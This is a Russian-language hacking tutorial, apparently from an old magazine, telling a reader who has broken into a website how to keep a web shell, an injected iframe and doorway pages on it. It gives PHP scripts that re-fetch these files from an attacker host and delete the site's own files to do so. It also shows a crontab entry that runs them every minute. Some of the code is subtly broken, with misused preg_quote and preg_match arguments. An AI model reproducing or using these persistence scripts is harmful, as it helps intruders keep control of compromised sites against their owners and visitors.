Допустим, ты взломал сайт
и очень хочешь, чтобы там остался твой
шелл/фрейм/дор. Рассмотрим все ситуации
подробно.
1) Шелл. Создадим
файлик (назовем его cronshell.php) с содержимым:
<?php
$file = /home/user/www/shell.php;
if(file_exists($file) == false) {
copy('http://www.h4x0r.com/shell.txt', $file);
}
?>
Код будет проверять, существует ли файл на
сервере и, если его нет, скопирует с твоего
сайта. Кстати, убедись, что директива
allow_url_fopen установлена в значение On, иначе
используй функцию system() и команду wget.
2) Фрейм. Фрейм мы будем
размещать в файле index.php, хотя ты можешь
сделать это с любым другим файлом. Для начала
скопируй файл index.php с фреймом внутри на
удаленный сервер; это будет наш бэкап, на случай
если админ заметит фрейм. Далее напишем скрипт
cronframe.php:
<?php
$frame = 'здесь код твоего фрейма';
$frame = preg_quote($file,'/');
$file = file_get_contents('/home/user/www/index.php');
preg_match($frame,$result,$file); // проверяем
файл на наличие фрейма
if ($result == '') { // если фрейма нет
system('rm /home/user/www/index.php'); //
удаляем файл
copy('http://www.h4x0r.com/index.txt', '/home/user/www/index.php');
// и копируем на его место файл с фреймом
}
?>
3) Доры.
<?php
$testfile = '/home/user/www/dors/sitemap.html';
//файл для проверки наличия доров
if(file_exists($testfile) == false) { //
проверяем на наличие файла и, если нет...
system('rm -rf /home/user/www/dors;mkdir
/home/user/www/dors');
copy('http://www.h4x0r.com/dors.tgz',
'/home/user/www/dors/'); // копируем архив с
дорами в папку
system('tar xzf /home/user/www/dors/dors.tgz');
// и разархивируем его
}
?>
А теперь о том, как заставить крон
обрабатывать наши файлы. Создадим в папке
/home/user/ временный файл test:
SHELL=/bin/bash
MAILTO=user
0-59 * * * * /home/user/cron.php
Разберем его: первая строка указывает, какую
шелл-оболочку нужно использовать, вторая, какому
юзеру отправлять отчет о работе крона и,
наконец, третья указывает, что файл
/home/user/cron.php должен выполняться каждую
минуту. Теперь занесем запись в таблицу, для
этого выполним команду:
crontab /home/user/test
Готово! В каталоге /var/spool/cron будет
создан файл «user» примерно с таким содержимым:
# DO NOT EDIT THIS FILE - edit the
master and reinstall.
# (/home/user/test installed on Mon Mar 29
02:31:34 2004)
# (Cron version -- $Id: crontab.c,v 2.13
1994/01/17 03:20:37 vixie Exp $)
SHELL=/bin/bash
MAILTO=user
0-59 * * * * /home/user/cron.php
— и файл /home/user/cron.php будет
запускаться каждую минуту.